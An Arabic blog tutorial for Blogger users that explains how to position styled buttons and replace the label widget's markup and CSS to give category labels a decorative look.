<a href="#"><div class="set_2_button color1 set_2_btn-1 icon-forward"><span>الارتقاء للبلوجر</span></div></a>
لو نريد إضافة واحد في اليمين والأخر في اليسار نستخدم الكود التالي
style="float: right; margin-right: 0;margin:10px;"
هده الكود نضعه في كود الزر بنفس الطريقة السابقة
right : يعني سيتم وضعه الزر في اليمين لو أردنا وضعه في اليسار نضع بدله left
المثال السابق يرجع بهذه الشكل
<a href="#"><div class="set_2_button color1 set_2_btn-1 icon-forward" style="float: right; margin-right: 0;margin:10px;" ><span>الارتقاء للبلوجر</span></div></a>
<a href="#"><div class="set_2_button color1 set_2_btn-1 icon-forward" style="float: left; margin-right: 0;margin:10px;" ><span>الارتقاء للبلوجر</span></div></a>
نلاحظ الزر الذي بلون الأحمر أضفنا له right يعني سيكون في اليمين بينما الزر الذي بلون الأخضر أضفنا له left يعني سيكون في اليسار

إن شاء الله تكون أعجبتكم الإضافة وفهمت الشرح وطريقه تركيبه انتظرونا في الجزء الثاني من الإضافة, أد كان لديك إي سؤال أو استفسار ضعه في تعليق. وشكراً

تغيير شكل التسميات الى شكل احترافي وحصري

Change-the-format-of-labels-to-professional-and-exclusive-form-in-Blogger

شكل التسميات الموجود في بلوجر ليس جميلاً ولا يجدب الزور إليه ونحن كمدونين نهتم في الزار ونحاول أرضاهم بل عديد من الطرق اليوم أقد لكم كود تحويل التسميات إلى شكل اكتر من احترافي هده الكود من برمجتي أقدمه لكم كهدية وحولت جعل الشرح مبسط ومفهوم حتى يستطيع العديد من المدونين التعامل معه بكل بساطه

شرح التعامل مع الإضافة


قبل كل شيء يجب عليك عمل نسخه احتياطيه لو قدر الله وحدت خطا معك ستستطيع إصلاح  واسترجاع القالب الخاص بك
قبل ما ندخل إلى الشرح أود إن أقول لك أد كان لديك شكل سابق لتسميات يجب حذفه حذف كود التنسيق css الخاص بتسميات

كيف يمكنك أزلته

نذهب إلى قالب تحرير HTML 
بعد دالك نبحت عن الكود التالي list. او . list-label-widget-content نمسح جميع الاكواد المرفقة معه  حتى  يحذف الشكل يعني نمسح الاكواد كلها التي ظهر هات أتناء البحث وغالب تجد الكود في ]]></b:skin> للبحت نستخدم F +Ctrl   
اكرر امسح css  الخاص به يعني التنسيقات

بعد إن تأكدنا من تصفيه شكل التسميات القديم نذهب إلى ونفعل التسميات من التخطيط  ونتوجه إلى قالب تحرير HTML 
ألان نأتي إلى الخطوة المهمة وهي استبدال كود التسميات القديم بكود جديد حتى يتناسب مع الشكل نبحت عن الكود التالي id='Label1' 
تجده بهده الشكل نقوم بفتحه 
Change-the-format-of-labels-to-professional-and-exclusive-form-in-Blogger

نقوم بفتحه تم قم بتحديد كما في الصورة وضع الكود التالي بدله
Change-the-format-of-labels-to-professional-and-exclusive-form-in-Blogger




<b:widget id='Label1' locked='false' title='' type='Label'>
    <b:includable id='main'>
  <b:if cond='data:title'>
    <h3><data:title/></h3>
  </b:if>
  <div expr:class='&quot;widget-content &quot; + data:display + &quot;-label-widget-content&quot;'>
    <b:if cond='data:display == &quot;list&quot;'>
      <ul>
      <b:loop values='data:labels' var='label'>
        <li>
          <b:if cond='data:blog.url == data:label.url'>
            <span expr:dir='data:blog.languageDirection'><data:label.name/></span>
          <b:else/>
            <a expr:dir='data:blog.languageDirection' expr:href='data:label.url + &quot;?&amp;amp;max-results=6&quot;'><data:label.name/></a>
          </b:if>
          <b:if cond='data:showFreqNumbers'>
            <span dir='rtl'><data:label.count/></span>
          </b:if>
        </li>
      </b:loop>
      </ul>
    <b:else/>
      <b:loop values='data:labels' var='label'>
        <span expr:class='&quot;label-size label-size-&quot; + data:label.cssSize'>
          <b:if cond='data:blog.url == data:label.url'>
            <span expr:dir='data:blog.languageDirection'><data:label.name/></span>
          <b:else/>
            <a expr:dir='data:blog.languageDirection' expr:href='data:label.url + &quot;?&amp;amp;max-results=6&quot;'><data:label.name/></a>
          </b:if>
          <b:if cond='data:showFreqNumbers'>
            <span class='label-count' dir='rtl'><data:label.count/></span>
          </b:if>
        </span>
      </b:loop>
    </b:if>
  </div>
</b:includable>
  </b:widget>

أخر خطوه تركيب الشكل نذهب إلى قالب تحرير  HTML ونبحث عن ]]></b:skin> ونظيف الكود التالي فوق مباشره

/* CSS التسميات */
@import url(http://fonts.googleapis.com/earlyaccess/droidarabickufi.css);
.widget-content.cloud-label-widget-content {display:inline-block;width:100%;}
.widget-content.cloud-label-widget-content {display:inline-block;}
.label-size-1,.label-size-2,.label-size-3,.label-size-4,.label-size-5 {font-size:100%;opacity:1}
.cloud-label-widget-content{text-align:right;padding:10px;}
.label-count {white-space:nowrap;display:inline-block;}
#sidebar-wrapper .label-size{position:relative;display:block;float:right;margin:0 4px 4px 0;font-size:13px;transition:all 0.3s;}
#sidebar-wrapper .label-size a{background:#fff;display:inline-block;color:#444;padding:5px 8px;font-weight:400;border:1px solid #ccc;transition:all .3s}
#sidebar-wrapper .label-count{backface-visibility:hidden;opacity:0;visibility:hidden;font-size:85%;display:inline-block;position:absolute;top:-5px;left:-10px;background:#4fafe9;color:#fff;white-space:nowrap;padding:0;width:25px;height:22px;line-height:22px;border-radius:4px;text-align:center;z-index:1;transition:all .3s}
#sidebar-wrapper .label-size:hover .label-count{opacity:1;visibility:visible;left:-15px}
#sidebar-wrapper .label-size a:hover{color:#444;border-color:#4fafe9}

.list-label-widget-content ul li span {
float: right;
width: 3em;
height: 3em;
text-align: center;
line-height: 35px;
margin: -34.5px -2px 0px 4px;
border-radius: 100%;
color: #FFF;
font-weight: bold;
background: #ea0c31;
-webkit-box-shadow: 0 1px 1px rgba(0,0,0,0.1),inset 0 0 10px rgba(0,0,0,.35),inset 0 0 0 1px rgba(0,0,0,.1);
-moz-box-shadow: 0 1px 1px rgba(0,0,0,.0.1),inset 0 0 10px rgba(0,0,0,.35),inset 0 0 0 1px rgba(0,0,0,.1);
box-shadow: 0 1px 1px rgba(0,0,0,0.1),inset 0 0 10px rgba(0,0,0,.35),inset 0 0 0 1px rgba(0,0,0,.1);
border: 0.3em solid #FFF;
font-family: time;
}
.list-label-widget-content li a {
text-decoration: none;
color: #272B35;
-webkit-transition: all 0.3s ease-in-out;
transition: all 1s;
display: block;
margin: 0 40px 0 0;
padding: 6px 0.4px;
}
.list-label-widget-content li a:hover {
color: #FFFFFF;
transition: all 1s;
}
.list-label-widget-content ul li:hover {
background: #ea0c31;
-webkit-box-shadow: 0 1px 1px rgba(0,0,0,0.1),inset 0 0 10px rgba(0,0,0,.35),inset 0 0 0 1px rgba(0,0,0,.1);
-moz-box-shadow: 0 1px 1px rgba(0,0,0,.0.1),inset 0 0 10px rgba(0,0,0,.35),inset 0 0 0 1px rgba(0,0,0,.1);
box-shadow: 0 1px 1px rgba(0,0,0,0.1),inset 0 0 10px rgba(0,0,0,.35),inset 0 0 0 1px rgba(0,0,0,.1);
transition: all 1s;
}
.list-label-widget-content ul li {
border: solid 1px #E0E0E0;
background: #F0F0F0;
color: #444;
text-decoration: none;
border-radius: 0.3em 1.3em 1.3em 0.3em;
transition: all 1.0s ease-out 0s;
font-family: droid arabic kufi;
list-style: none;
font-size: 12px;
margin: 5px 3px;
transition: all 1s;
}
/* CSS نهاية التسميات */

اللون الأخطر يعني الخط ونلاحظ الخط المستخدم هو خط droid arabic kufi استبدله بخط مدونتك أو يمكنك تضمين الخط من خلال إضافة الكود التالي فوق  ]]></b:skin>
@import url(http://fonts.googleapis.com/earlyaccess/droidarabickufi.css);


الكود ما يحتاج شرح ولأكن تبسيط مني الذي بل لوان الأحمر والأزرق هو ألون نفس كود اللون #ea0c31 وهو اللون الأحمر أد حببت تغير اللون غيرهم معاً  الفرق بينهم بسيط الأحمر لون أرقام عدد المواضيع والأزرق هو لون عند التأشير على قسم

أخي الكريم أختي الكريمة مثل هده الاكواد تعتبر معدومة وان وجدث لن تجدها مثل هده الشكل الاحترافي نحنا نعدك بل مزيد من الإضافات الحصريه والقوالب الاحترافية والمزيد المزيد وكل ما نريد منك هو متابعه المدونة من هنا